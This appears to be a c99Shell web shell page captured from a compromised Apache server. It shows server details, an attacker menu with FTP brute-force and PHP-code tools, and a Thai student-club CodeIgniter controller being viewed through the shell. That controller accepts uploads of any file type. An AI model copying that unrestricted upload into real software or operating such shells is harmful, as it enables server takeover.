!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     smo_club.php (52.59 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('sa_controller.php');
class 
Smo_club extends Sa_controller {

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สร้างสโมสรใหม่
    */
    
function create_samo() {
        
$data['text'] = 'nothing';
        
$this->output("v_createSamo"$data);
    }

    
/**
        คำอธิบายฟังก์ชั่น: มีไว้สร้างชมรมใหม่
    */
    
function create_club() {
        
$data['text'] = 'nothing';
        
$this->output("v_createClub"$data);
    }

    function 
detail_club(){
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mem');
        
$mem $this->mem;
        
        
$this->load->model($this->config->item('sa_folder').'sa_detail_project_model','dt');
        
$dt $this->dt;
        
        
$this->load->model($this->config->item('sa_folder').'sa_co_owner_proj_model','cop');
        
$cop $this->cop;
        
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','comt');
        
$com $this->comt;

        
$this->load->model($this->config->item('sa_folder').'sa_vehicle_model','veh');
        
$veh $this->veh;

        
$this->load->model($this->config->item('sa_folder').'sa_vehicle_club_model','vc');
        
$vc $this->vc;
        
        
$this->load->model($this->config->item('sa_folder').'sa_person_model','prs');
        
$prs $this->prs;
        
        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$sc $this->sc;
        
$sc->sc_id $this->input->post('sc_id');
        
$sc->get_all_by_key(TRUE);
        
$data['qu_cl'] = $sc;
        
        if(
$this->input->post('sc_id')){
            
$up->fup_grp $sc->sc_fup_grp;
            
$data['sc_file'] = $up->getByGroup();
            
            
$rs_prs $prs->selectPersonByAdsJoinPPC($sc->sc_id);
            
$data['sc_prs'] = $rs_prs;
        }
        
        
$sc->sc_type 1;
        
$data['smo'] = $sc->get_optionsByType();
        
        
$data['ck_id'] = $this->input->post('sc_id');
        
// ประเภทกิจกรรม
        
$vc->vc_sc_id $this->input->post('sc_id');

        
$data['rs_veh'] = $vc->get_by_sc();

        if(
$this->input->post('sc_parentId') || $this->session->flashdata('sc_parentId')){
            
$data['sc_parentId'] = ($this->session->flashdata('sc_parentId')) ? $this->session->flashdata('sc_parentId') : $this->input->post('sc_parentId');
            
$sc->sc_parentId $data['sc_parentId'];
            
$sc->sc_type 2;
            
$rs_smo $sc->get_by_type_PR();
            
$data['rs_cl'] = $rs_smo;
            
            
$file = array();
            if(
$rs_smo->num_rows()>0){
                foreach (
$rs_smo->result() as $row_smo) {
                    
$up->fup_grp $row_smo->sc_fup_grp;
                    
$file[$row_smo->sc_id] = $up->getByGroup();
                }
            }
            
$data['file'] = $file;
            
            
$arr = array();
        
            if (
$rs_smo->num_rows() > 0) {
                foreach (
$rs_smo->result() as $row) {
                    
$rs_prs $prs->selectPersonByAdsJoinPPC($row->sc_id);
                    
$arr[$row->sc_id] = $rs_prs;
                }
            }
            
            
$data['arr'] = $arr;
        
            
$pm = array();
            if(
$rs_smo->num_rows()>0){
                foreach (
$rs_smo->result() as $row_smo) {
                    
$rs_mem $mem->get_by_cond('''''''',''$row_smo->sc_id'''');
                    
$num_mem $rs_mem->num_rows();
                    
                    
$dt->dpj_owner $row_smo->sc_id;
                    
$rs_dt $dt->getByOwner();
                    
$num_dt $rs_dt->num_rows();
                    
                    
$cop->cop_sc_id $row_smo->sc_id;
                    
$rs_cop $cop->getByCop_sc_id();
                    
$num_cop $rs_cop->num_rows();
                    
                    
$com->cmt_cl_id $row_smo->sc_id;
                    
$rs_com $com->getByCmt_sc_id();
                    
$num_com $rs_com->num_rows();
            
                    if(
$num_mem>|| $num_dt>|| $num_cop>|| $num_com>0){
                        
$pm[$row_smo->sc_id] = "N";
                    }else{
                        
$pm[$row_smo->sc_id] = "Y";
                    }
                }
            }

            
$data['pm'] = $pm;
        }
        
$this->output_popup("v_detail_club"$data);
    }

    function 
club($error "") {
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mem');
        
$mem $this->mem;
        
        
$this->load->model($this->config->item('sa_folder').'sa_detail_project_model','dt');
        
$dt $this->dt;
        
        
$this->load->model($this->config->item('sa_folder').'sa_co_owner_proj_model','cop');
        
$cop $this->cop;
        
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','comt');
        
$com $this->comt;

        
$this->load->model($this->config->item('sa_folder').'sa_vehicle_model','veh');
        
$veh $this->veh;

        
$this->load->model($this->config->item('sa_folder').'sa_vehicle_club_model','vc');
        
$vc $this->vc;
        
        
$this->load->model($this->config->item('sa_folder').'sa_person_model','prs');
        
$prs $this->prs;
        
        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$sc $this->sc;
        
$sc->sc_id $this->input->post('sc_id');
        
$sc->get_by_key(TRUE);
        
$data['qu_cl'] = $sc;
        
        if(
$this->input->post('sc_id')){
            
$up->fup_grp $sc->sc_fup_grp;
            
$data['sc_file'] = $up->getByGroup();
            
            
$rs_prs $prs->selectPersonByAdsJoinPPC($sc->sc_id);
            
$data['sc_prs'] = $rs_prs;
        }
        
        
$sc->sc_type 1;
        
$data['smo'] = $sc->get_optionsByType();

        if(
$error!=""){
            
$data['error'] = $error;
        }
        
        
$data['ck_id'] = $this->input->post('sc_id');
        
// ประเภทกิจกรรม
        
$vc->vc_sc_id $this->input->post('sc_id');

        
$data['rs_veh'] = $vc->get_by_sc();

        if(
$this->input->post('sc_parentId') || $this->session->flashdata('sc_parentId')){
            
$data['sc_parentId'] = ($this->session->flashdata('sc_parentId')) ? $this->session->flashdata('sc_parentId') : $this->input->post('sc_parentId');
            
$sc->sc_parentId $data['sc_parentId'];
            
$sc->sc_type 2;
            
$rs_smo $sc->get_by_type_PR();
            
$data['rs_cl'] = $rs_smo;
            
            
$file = array();
            if(
$rs_smo->num_rows()>0){
                foreach (
$rs_smo->result() as $row_smo) {
                    
$up->fup_grp $row_smo->sc_fup_grp;
                    
$file[$row_smo->sc_id] = $up->getByGroup();
                }
            }
            
$data['file'] = $file;
            
            
$arr = array();
        
            if (
$rs_smo->num_rows() > 0) {
                foreach (
$rs_smo->result() as $row) {
                    
$rs_prs $prs->selectPersonByAdsJoinPPC($row->sc_id);
                    
$arr[$row->sc_id] = $rs_prs;
                }
            }
            
            
$data['arr'] = $arr;
        
            
$pm = array();
            if(
$rs_smo->num_rows()>0){
                foreach (
$rs_smo->result() as $row_smo) {
                    
$rs_mem $mem->get_by_cond('''''''',''$row_smo->sc_id'''');
                    
$num_mem $rs_mem->num_rows();
                    
                    
$dt->dpj_owner $row_smo->sc_id;
                    
$rs_dt $dt->getByOwner();
                    
$num_dt $rs_dt->num_rows();
                    
                    
$cop->cop_sc_id $row_smo->sc_id;
                    
$rs_cop $cop->getByCop_sc_id();
                    
$num_cop $rs_cop->num_rows();
                    
                    
$com->cmt_cl_id $row_smo->sc_id;
                    
$rs_com $com->getByCmt_sc_id();
                    
$num_com $rs_com->num_rows();
            
                    if(
$num_mem>|| $num_dt>|| $num_cop>|| $num_com>0){
                        
$pm[$row_smo->sc_id] = "N";
                    }else{
                        
$pm[$row_smo->sc_id] = "Y";
                    }
                }
            }

            
$data['pm'] = $pm;
        }
        
$this->output("v_club"$data);
    }

    function 
add_club() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<br><font color="red">','</font>');

        
$this->form_validation->set_rules('sc_parentId''สโมสร''trim|callback_checkselect|xss_clean');
        
$this->form_validation->set_rules('sc_id''''trim|xss_clean');
        
$this->form_validation->set_rules('sc_name''ชื่อชมรม(ไทย)''trim|required|xss_clean');
        
$this->form_validation->set_rules('sc_name_eng''ชื่อชมรม(อังกฤษ)''trim|xss_clean');
        
$this->form_validation->set_rules('sc_objective'' ''trim|xss_clean');
        
$this->form_validation->set_rules('sc_detail'' ''trim|xss_clean');
        
$this->form_validation->set_rules('sc_min_member''จำนวนสมาชิกขั้นต่ำ''trim|required|is_natural_no_zero|xss_clean');
        
$this->form_validation->set_rules('sc_max_member''จำนวนสมาชิกสูงสุด''trim|required|is_natural_no_zero|xss_clean');
        
$this->form_validation->set_rules('sc_due''ค่าสมาชิกชมรม''trim|required|integer|xss_clean');
        if (
$this->input->post('sc_id')=="") {
            
$this->form_validation->set_rules('wk11_co''อาจารย์ประจำชมรม ''trim|required|xss_clean');
        }
        
$this->form_validation->set_rules('sc_fr_date''ปีที่ก่อตั้งชมรม''trim|required|xss_clean');
        
$this->form_validation->set_rules('sc_fr_date''ปีที่ก่อตั้งชมรม''trim|required|xss_clean');
        
$this->form_validation->set_rules('up'' ''trim|xss_clean');
        
        
$ch_vehicle 'N';
        for (
$i=1$i<$this->input->post('vehicle'); $i++){
            
$this->form_validation->set_rules('vehicle'.$i' ''trim|xss_clean');
            if (
$this->input->post('vehicle'.$i) != ''){
                
$ch_vehicle 'Y';
            }
        }

        if (
$this->form_validation->run() == FALSE || $ch_vehicle == 'N') {
            if  (
$ch_vehicle == 'N') {
                
$this->load->vars( array('ch_vehicle' => '<font color="red"> กรุณาเลือกประเภทกิจกรรม </font>'));
            }
            
$this->club(); //TRUE
        
} else {

            
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model');
            
$m $this->sa_smo_club_model;

            
$m->sc_id trim($this->input->post('sc_id'));
            
$m->sc_name trim($this->input->post('sc_name'));
            
$m->sc_parentId trim($this->input->post('sc_parentId'));

            
$query $m->check_rep_name();

            if (
$query->num_rows() == 0) {
                
$this->load->model($this->config->item('sa_folder').'sa_vehicle_club_model');
                
$vc $this->sa_vehicle_club_model;
                
$this->load->model($this->config->item('sa_folder').'sa_adviser_sc_model');
                
$ad $this->sa_adviser_sc_model;
                
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
                
$up $this->sa_file_upload_model;
                
                if (
$this->input->post('sc_id')) {
                    
$m->sc_id trim($this->input->post('sc_id'));
                    
$m->get_by_key(TRUE);
                    
$old_grp $m->sc_fup_grp;
                }

                
$m->sc_name trim($this->input->post('sc_name'));
                
$m->sc_name_eng trim($this->input->post('sc_name_eng'));
                
$m->sc_objective trim($this->input->post('sc_objective'));
                
$m->sc_detail trim($this->input->post('sc_detail'));     
                
$m->sc_min_member trim($this->input->post('sc_min_member'));
                
$m->sc_max_member trim($this->input->post('sc_max_member'));
                
$m->sc_due trim($this->input->post('sc_due'));
                
$m->sc_type 2;
                
$m->sc_fr_date trim($this->input->post('sc_fr_date'));
                
$sc->sc_to_date trim($this->input->post('sc_to_date'));
                
$sc->sc_fup_grp "NULL";

                if ( 
$this->input->post('sc_id') != '' ) {
                    
$m->update();
                    
$sc_id $m->sc_id;
                } else {
                    
$m->insert();
                    
$sc_id $m->last_insert_id;
                }
                
$vc->vc_sc_id $sc_id;
                
$vc->delete_vehicle_club();
                for (
$i=1$i<$this->input->post('vehicle'); $i++){
                    if (
$this->input->post('vehicle'.$i) != ''){
                        
$vc->vc_sc_id $sc_id;
                        
$vc->vc_veh_id trim($this->input->post('vehicle'.$i));
                        
$vc->insert();
                    }
                }
                
                if(
$this->input->post('sc_id')){
                    
$ad->ads_sc_id $this->input->post('sc_id');
                    
$ad_rs $ad->getBySc_id();
                    
                    foreach (
$ad_rs->result() as $ad_row) {
                        
$ad->ads_id $ad_row->ads_id;
                        
$ad->delete();
                    }
                    
                    
$ad->ads_id "";
                    
                    
$old $this->input->post('ote');
                    for(
$i=0;$i<count($old);$i++){
                        
$ad->ads_sc_id $this->input->post('sc_id');
                        
$ad->ads_prs_id trim($old[$i]);

                        
$ad->insert();
                    }
                }
                
                
$a explode("###", ($this->input->post('std') ? $this->input->post('std') : $this->input->post('wk11_co')));
                foreach (
$a as $value) {
                    
$v explode(":"$value);
                    
                    
$ad->ads_sc_id $sc_id;
                    
$ad->ads_prs_id trim($v[0]);

                    
$ad->insert();
                }

                
// Start Up file
                
if(isset($_FILES['fileupload']) && !empty($_FILES['fileupload']['name'])){
                    
$config['upload_path'] = './uploads/esa/doc';
                    
$config['max_size'] = $this->config->item('sa_upload_size');
                    
$config['allowed_types'] = '*';
                    
$config['overwrite'] = TRUE;
                    
$config['file_name'] = $sc_id;
                         
                    
$this->load->library('upload'$config);
                        
                    if (!
$this->upload->do_upload('fileupload'))
                    {
                        
$error = array('error' => $this->upload->display_errors());
                        
$this->club($error);
                    }else{
                        
$data = array('upload_data' => $this->upload->data('fileupload'));
                        
                        if (
$this->input->post('sc_id')){
                            
                            
$up->fup_grp $old_grp;
                                
                            
$rs_file $up->getByGroup();
                                
    
//                        if($rs_file->num_rows()>0){
    //                            foreach ($rs_file->result() as $row_file) {
    //                                unlink('./uploads/esa/doc/'.$row_file->fup_file_name);
    //                            }
    //                        }
                            
$up->deleteByGroup();
                        }
                        
                        
$up->fup_seq 1;
                        
$up->fup_file_name $data['upload_data']['file_name'];
                        
$up->fup_path 'uploads/esa/doc/'.$data['upload_data']['file_name'];
                        
$up->fup_date date("Y-m-d H:i:s");
                        
$up->fup_user_id $this->session->userdata('UsID');
                        
$up->fup_grp = ($up->getMaxGroup()->row()->max+1);
                        
                        
$up->insert();

                        
$m->sc_id $sc_id;
                        
$m->sc_fup_grp $up->fup_grp;
                        
$m->update();
                        
                        
$this->session->set_flashdata('sc_parentId'$this->input->post('sc_parentId'));
                        
redirect($this->config->item('sa_folder').'smo_club/club');
                    }
                }else{
                    
$this->session->set_flashdata('sc_parentId'$this->input->post('sc_parentId'));
                    
redirect($this->config->item('sa_folder').'smo_club/club');
                }
            
//End Up file
            
} else {
                
$this->load->vars(array('error_name' => "<font color='red'><br />ชื่อสโมสรนี้มีอยู่แล้ว</font>"));
                
$this->club();
            }
        }
    }

    function 
del_club() {
        
$this->db->trans_begin();
        
        
$sc_id $this->input->post('sc_id');
        
        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model');
        
$m $this->sa_smo_club_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_vehicle_club_model');
        
$vc $this->sa_vehicle_club_model;
        
$vc->vc_sc_id $sc_id;
        
$vc->delete_vehicle_club();
        
        
$this->load->model($this->config->item('sa_folder').'sa_adviser_sc_model');
        
$ad $this->sa_adviser_sc_model;
        
$ad->ads_sc_id $sc_id;
        
$ad_rs $ad->getBySc_id();
        
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt$this->cmt;

        foreach (
$ad_rs->result() as $ad_row) {
            
$ad->ads_id $ad_row->ads_id;
            
$ad->delete();
        }
        
        
$cmt->cmt_sc_id $sc_id;
        
$rs_cmt $cmt->getByCmt_sc_id();
                
        foreach (
$rs_cmt->result() as $row_cmt) {
            
$cmt->cmt_id $row_cmt->cmt_id;
            
$cmt->delete();
        }

        
$m->sc_id $sc_id;
        
$m->get_by_key(TRUE);
        
$old_grp $m->sc_fup_grp;
                
        
$up->fup_grp $old_grp;
                        
        
$rs_file $up->getByGroup();
                    
        if(
$rs_file->num_rows()>0){
            foreach (
$rs_file->result() as $row_file) {
                
unlink('./uploads/esa/doc/'.$row_file->fup_file_name);
            }
        }
        
$up->deleteByGroup();
        
        
$m->delete();

        if(
$this->db->trans_status() === false){
            
$this->db->trans_rollback();
        } else {
            
$this->db->trans_commit();
        }
        
$this->session->set_flashdata('sc_parentId'$this->input->post('sc_parentId'));
        
redirect($this->config->item('sa_folder').'smo_club/club');
    }

    function 
detail_smo(){
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$sc $this->sc;
        
        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mem');
        
$mem $this->mem;
        
        
$this->load->model($this->config->item('sa_folder').'sa_detail_project_model','dt');
        
$dt $this->dt;
        
        
$this->load->model($this->config->item('sa_folder').'sa_co_owner_proj_model','cop');
        
$cop $this->cop;
        
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','comt');
        
$com $this->comt;
        
        
$sc->sc_id $this->input->post('sc_id');
        
$sc->get_by_key(TRUE);
        
$data['qu_smo'] = $sc;
        
        
$sc->sc_type 1;
        
$rs_smo $sc->get_by_type();
        
$data['rs_smo'] = $rs_smo;
        
        
$file = array();
        if(
$rs_smo->num_rows()>0){
            foreach (
$rs_smo->result() as $row_smo) {
                
$up->fup_grp $row_smo->sc_fup_grp;
                
$file[$row_smo->sc_id] = $up->getByGroup();
            }
        }
        
$data['file'] = $file;
        
        
$pm = array();
        if(
$rs_smo->num_rows()>0){
            foreach (
$rs_smo->result() as $row_smo) {
                
$rs_mem $mem->get_by_cond(''''''''$row_smo->sc_id'''''');
                
$num_mem $rs_mem->num_rows();
                
                
$dt->dpj_owner $row_smo->sc_id;
                
$rs_dt $dt->getByOwner();
                
$num_dt $rs_dt->num_rows();
                
                
$cop->cop_sc_id $row_smo->sc_id;
                
$rs_cop $cop->getByCop_sc_id();
                
$num_cop $rs_cop->num_rows();
                
                
$com->cmt_cl_id $row_smo->sc_id;
                
$rs_com $com->getByCmt_sc_id();
                
$num_com $rs_com->num_rows();
        
                if(
$num_mem>|| $num_dt>|| $num_cop>|| $num_com>0){
                    
$pm[$row_smo->sc_id] = "N";
                }else{
                    
$pm[$row_smo->sc_id] = "Y";
                }
                
            }
        }

        
$data['pm'] = $pm;
        
$this->output_popup("v_detail_smo"$data);
    }

    function 
smo() {
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$sc $this->sc;
        
        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_member_model','mem');
        
$mem $this->mem;
        
        
$this->load->model($this->config->item('sa_folder').'sa_detail_project_model','dt');
        
$dt $this->dt;
        
        
$this->load->model($this->config->item('sa_folder').'sa_co_owner_proj_model','cop');
        
$cop $this->cop;
        
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','comt');
        
$com $this->comt;
        
        
$sc->sc_id $this->input->post('sc_id');
        
$sc->get_by_key(TRUE);
        
$data['qu_smo'] = $sc;
        
        
$sc->sc_type 1;
        
$rs_smo $sc->get_by_type();
        
$data['rs_smo'] = $rs_smo;
        
        
$file = array();
        if(
$rs_smo->num_rows()>0){
            foreach (
$rs_smo->result() as $row_smo) {
                
$up->fup_grp $row_smo->sc_fup_grp;
                
$file[$row_smo->sc_id] = $up->getByGroup();
            }
        }
        
$data['file'] = $file;
        
        
$pm = array();
        if(
$rs_smo->num_rows()>0){
            foreach (
$rs_smo->result() as $row_smo) {
                
$rs_mem $mem->get_by_cond(''''''''$row_smo->sc_id'''''');
                
$num_mem $rs_mem->num_rows();
                
                
$dt->dpj_owner $row_smo->sc_id;
                
$rs_dt $dt->getByOwner();
                
$num_dt $rs_dt->num_rows();
                
                
$cop->cop_sc_id $row_smo->sc_id;
                
$rs_cop $cop->getByCop_sc_id();
                
$num_cop $rs_cop->num_rows();
                
                
$com->cmt_cl_id $row_smo->sc_id;
                
$rs_com $com->getByCmt_sc_id();
                
$num_com $rs_com->num_rows();
        
                if(
$num_mem>|| $num_dt>|| $num_cop>|| $num_com>0){
                    
$pm[$row_smo->sc_id] = "N";
                }else{
                    
$pm[$row_smo->sc_id] = "Y";
                }
                
            }
        }

        
$data['pm'] = $pm;
        
        
$this->output("v_smo"$data);
    }

    function 
add_smo() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<br><font color="red">','</font>');

        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
                    
        
$this->form_validation->set_rules('sc_id''''trim|xss_clean');
        
$this->form_validation->set_rules('sc_name''ชื่อสโมสร''trim|required|xss_clean');
        
$this->form_validation->set_rules('sc_name_eng'' ''trim|xss_clean');
        
$this->form_validation->set_rules('sc_objective'' ''trim|xss_clean');
        
$this->form_validation->set_rules('sc_detail'' ''trim|xss_clean');
        
$this->form_validation->set_rules('sc_fr_date''วันที่ก่อตั้งสโมสร''trim|required|xss_clean');
        
$this->form_validation->set_rules('sc_to_date'' ''trim|xss_clean');
        
$this->form_validation->set_rules('fileupload'' ''trim|xss_clean');
    
        if (
$this->form_validation->run() == FALSE) {
            
$this->smo(TRUE);
        } else {
            
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model');
            
$sc $this->sa_smo_club_model;
            
            
$sc->sc_id trim($this->input->post('sc_id'));
            
$sc->sc_name trim($this->input->post('sc_name'));
            
$sc->sc_parentId 0;
            
$query $sc->check_rep_name();
            if (
$query->num_rows() == 0) {
                if (
$this->input->post('sc_id')) {
                    
$sc->sc_id trim($this->input->post('sc_id'));
                    
$sc->get_by_key(TRUE);
                    
$old_grp $sc->sc_fup_grp;
                }
                
$sc->sc_name trim($this->input->post('sc_name'));//update fern
                
$sc->sc_name_eng trim($this->input->post('sc_name_eng'));
                
$sc->sc_objective trim($this->input->post('sc_objective'));
                
$sc->sc_detail trim($this->input->post('sc_detail'));
                
$sc->sc_fr_date trim($this->input->post('sc_fr_date'));
                
$sc->sc_to_date trim($this->input->post('sc_to_date'));
                
$sc->sc_type 1;
                
$sc->sc_fup_grp = ($this->input->post('sc_id'))? $old_grp:"0";
                
                if (
$this->input->post('sc_id')) {
                    
$sc->update();
                    
$sc_id $this->input->post('sc_id');
                } else {
                    
$sc->insert();
                    
$sc_id $sc->last_insert_id;
                }
                if(isset(
$_FILES['fileupload']) && !empty($_FILES['fileupload']['name'])){
                    
$config['upload_path'] = './uploads/esa/doc';
                    
$config['max_size'] = $this->config->item('sa_upload_size');
                    
$config['allowed_types'] = '*';
                    
$config['overwrite'] = TRUE;
                    
$config['file_name'] = $sc_id;
                         
                    
$this->load->library('upload'$config);
                        
                    if (!
$this->upload->do_upload('fileupload'))
                    {
                        
$sc->sc_id $this->input->post('sc_id');
                        
$sc->get_by_key(TRUE);
                        
$data['qu_smo'] = $sc;
                            
                        if(
$this->input->post('sc_id')){
                            
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
                            
$up $this->sa_file_upload_model;
                            
$up->fup_grp $sc->sc_fup_grp;
                            
$data['rs_file'] = $up->getByGroup();
                        }
                        
$sc->sc_type 1;
                        
$data['rs_smo'] = $sc->get_by_type();
            
                        
$data['error'] = array('error' => $this->upload->display_errors());
                        
$this->output("v_smo"$data);
                    }else{
                        if (
$this->input->post('sc_id')){
                            
                            
$up->fup_grp $old_grp;
                                
                            
$rs_file $up->getByGroup();
                                
                            
/*if($rs_file->num_rows()>0){
                                foreach ($rs_file->result() as $row_file) {
                                    unlink('./uploads/esa/doc/'.$row_file->fup_file_name);
                                }
                            }*/
                            
$up->deleteByGroup();
                        }

                        
$data = array('upload_data' => $this->upload->data('fileupload'));
                        
                        
$up->fup_seq 1;
                        
$up->fup_file_name $data['upload_data']['file_name'];
                        
$up->fup_path 'uploads/esa/doc/'.$data['upload_data']['file_name'];
                        
$up->fup_date date("Y-m-d H:i:s");
                        
$up->fup_user_id $this->session->userdata('UsID');
                        
$up->fup_grp = ($up->getMaxGroup()->row()->max+1);
                        
                        
$up->insert();

                        
$sc->sc_id $sc_id;
                        
$sc->sc_fup_grp $up->fup_grp;
                        
$sc->update();

                        
redirect($this->config->item('sa_folder').'smo_club/smo');
                    }
                }else{
                    
redirect($this->config->item('sa_folder').'smo_club/smo');
                }
            } else {
                
$this->load->vars(array('error_name' => "<font color='red'><br />ชื่อสโมสรนี้มีอยู่แล้ว</font>"));
                
$this->smo(TRUE);
            }
        }
    }

    function 
del_smo() {
        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$sc $this->sc;
        
        
$this->load->model($this->config->item('sa_folder').'sa_file_upload_model');
        
$up $this->sa_file_upload_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_vehicle_club_model');
        
$vc $this->sa_vehicle_club_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_adviser_sc_model');
        
$ad $this->sa_adviser_sc_model;
        
        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt$this->cmt;
        
        
$this->db->trans_begin();
        
$sc->sc_type 2;
        
$sc->sc_parentId trim($this->input->post('sc_id'));;
        
$rs_pr $sc->get_by_type_PR();
        
        if(
$rs_pr->num_rows()>0){
            foreach (
$rs_pr->result() as $row_pr) {
                
$vc->vc_sc_id $row_pr->sc_id;
                
$vc->delete_vehicle_club();
                
                
$ad->ads_sc_id $row_pr->sc_id;
                
$ad_rs $ad->getBySc_id();
                
                foreach (
$ad_rs->result() as $ad_row) {
                    
$ad->ads_id $ad_row->ads_id;
                    
$ad->delete();
                }
                
                
$cmt->cmt_cl_id $row_pr->sc_id;
                
$rs_cmt $cmt->getByCmt_sc_id();
                
                foreach (
$rs_cmt->result() as $row_cmt) {
                    
$cmt->cmt_id $row_cmt->cmt_id;
                    
$cmt->delete();
                }
            
                
$sc->sc_id $row_pr->sc_id;
                
$sc->get_by_key(TRUE);
                
$old_grp $sc->sc_fup_grp;
                
                
$up->fup_grp $old_grp;
                
                
$rs_file $up->getByGroup();
                
                if(
$rs_file->num_rows()>0){
                    foreach (
$rs_file->result() as $row_file) {
                        
unlink('./uploads/esa/doc/'.$row_file->fup_file_name);
                    }
                }
                
                
$up->deleteByGroup();

                
$sc->delete();
            }
        }
                
        
$sc->sc_id trim($this->input->post('sc_id'));
        
$sc->get_by_key(TRUE);
        
$old_grp $sc->sc_fup_grp;
                
        
$up->fup_grp $old_grp;
                        
        
$rs_file $up->getByGroup();
                    
        if(
$rs_file->num_rows()>0){
            foreach (
$rs_file->result() as $row_file) {
                
unlink('./uploads/esa/doc/'.$row_file->fup_file_name);
            }
        }
        
$up->deleteByGroup();

        
$sc->delete();

        if(
$this->db->trans_status() === false){
            
$this->db->trans_rollback();
        } else {
            
$this->db->trans_commit();
        }
        
        
redirect($this->config->item('sa_folder').'smo_club/smo');
    }

    function 
club_pos($cl_id '') {
        if(
$this->session->flashdata('error')){
            
$error $this->session->flashdata('error');
            
$data['error'] = $error;
        }
        
        
$cl_id = (isset($error['cmt_id']))? $error['cmt_id']:$this->input->post('cmt_id');

        
$this->load->model($this->config->item('rg_folder').'mo_rg_termconfig','tmc');
        
$tmc $this->tmc;
        
$data['rs_tmc'] = $tmc->get_options();

        
$this->load->model($this->config->item('sa_folder').'sa_smo_club_model','sc');
        
$sc $this->sc;
        
$sc->sc_type 2;
        
$data['rs_club'] = $sc->get_optionsByType();

        
$this->load->model($this->config->item('sa_folder').'sa_position_model','pos_');
        
$pos_ $this->pos_;
        
$pos_->pos_type 2;
        
$data['rs_pos'] = $pos_->get_options_by_type();

        
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
        
$cmt $this->cmt;
       
        
        
$cmt->cmt_id $cl_id;
        
$qu_cmt $cmt->get_edit();
        
$data['qu_cmt'] = $qu_cmt;
        
$row_cmt = ($qu_cmt->num_rows() > 0) ? $qu_cmt->row() : NULL;
        
        if(
$this->input->post('tmc_year')==true){
            
$year $this->input->post('tmc_year');
        }else{
            
$year = ((isset($error['tmc_year']))? $error['tmc_year'] : ((set_value('tmc_year',getval('cmt_year',$row_cmt))=="")? 0:set_value('tmc_year',getval('cmt_year',$row_cmt))));
        }
//$this->session->userdata('acY')
        
$data['year'] = $year;
        
$data['rs_cmt'] = $cmt->get_by_type_year(2,$year);
        
        if(
$this->input->post('cl_id')==true){
            
$cl $this->input->post('cl_id');
            
$data['rs_cmt'] = $cmt->get_by_type_year_cl(2,$year,$cl);
        }else{
            
$cl = ((isset($error['cl_id']))? $error['cl_id'] : ((set_value('cl_id',getval('cmt_cl_id',$row_cmt))=="" or $this->input->post('cl_id')=="")? "" set_value('cl_id',getval('cmt_cl_id',$row_cmt))));
            if(
$cl!=""){
                
$data['rs_cmt'] = $cmt->get_by_type_year_cl(2,$year,$cl);
            }
        }

        
$data['cl'] = $cl;

        
$this->output("v_club_pos"$data);
    }

    function 
add_club_pos() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<br><font color="red">','</font>');

        
$this->form_validation->set_rules('tmc_year'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('cl_id'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('pos_id'' ''trim|required|xss_clean');
        
$this->form_validation->set_rules('cmt_fr_date'' ''trim|required|xss_clean');
        if (
$this->input->post('cmt_id') == '') {
            
$this->form_validation->set_rules('wk11_co'' ''trim|required|xss_clean');
        }
        
        if (
$this->form_validation->run() == FALSE) {
            
// your code 
            
$this->club_pos();
        } else {
            
$this->db->trans_begin();

            
$this->load->model($this->config->item('sa_folder').'sa_committee_model','cmt');
            
$cmt$this->cmt;
            
$this->load->model($this->config->item('sa_folder').'sa_student_model','std');
            
$std $this->std;
            
$a explode("###", ($this->input->post('std') ? $this->input->post('std') : $this->input->post('wk11_co')));
            
$i 0;
            
            
